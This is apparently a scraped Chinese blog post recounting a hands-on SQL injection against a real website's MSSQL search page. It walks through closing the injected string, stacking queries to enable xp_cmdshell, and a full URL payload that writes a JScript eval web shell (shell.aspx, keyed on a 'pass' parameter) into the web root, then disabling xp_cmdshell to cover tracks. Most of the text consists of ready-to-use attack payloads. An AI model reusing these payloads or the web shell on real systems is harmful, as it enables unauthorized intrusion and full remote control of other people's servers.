实战手工注入某站,mssql注入

昨天就搞下来的,可是是工具搞得,为了比赛仍是抛弃一阵子的工具吧。内容相对简单,可掠过。html

报错获得sql语句:sql

DataSet ds2 = BusinessLibrary.classHelper.GetList("ID,catID,title as catTitle,'Content2.aspx' as url,createTime,orderID", "cat_article", "((title like '%" + strkeys + "%' or content like '%" + strkeys + "%') and isshow=1)", "ID", "order by orderID desc,createTime desc", pager1.PageSize, pageIndex, 0);

有点复杂看球不懂。直接挑出有strkeys的变量过来看。shell

like '%" + strkeys + "%') and isshow=1)"

直接采起闭合+注释的方案。由于是直接拼接的,因此直接%'))就解决了闭合,转换成url编码就是%25%27  ps:不转换也行ssh

即:id=a%25%27))-- -工具

ok。再结合mssql的注入语句。网站

至于猜裤猜表我就不说了。直接开xp_cmdshell组建进行命令执行而后写shell编码

http://www.jb51.net/hack/39196.htmlurl

开启xp_cmdshell组建MSSQL命令:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;spa

写成payload就是:.net

http://www.baidu.cn/search.aspx?keys=a%25%27));EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--%20-

注意须要结合堆叠注入因此就须要使用到分号先将前面的语句进行结束,而后再开启一条新的sql语句。

由于前面.net一会儿就能够爆出网站路径而后又直接写shell。

利用:exec master..xp_cmdshell "whoami"  进行写shell

# 这里说明一下堆叠注入是不会报错的。也就是说你执行开启xp_cmdshell组建的时候页面应当显示正常。

  http://www.baidu.cn/search.aspx?keys=a%25%27));exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\网站路径\\shell.aspx' ;----+

而后就getshell了。最后擦屁股,再关掉xp_Cmdshell组建。

将开启语句的第二个1改为0再执行,xp_cmdshell就又处于禁用状态了

OVER

相关文章
相关标签/搜索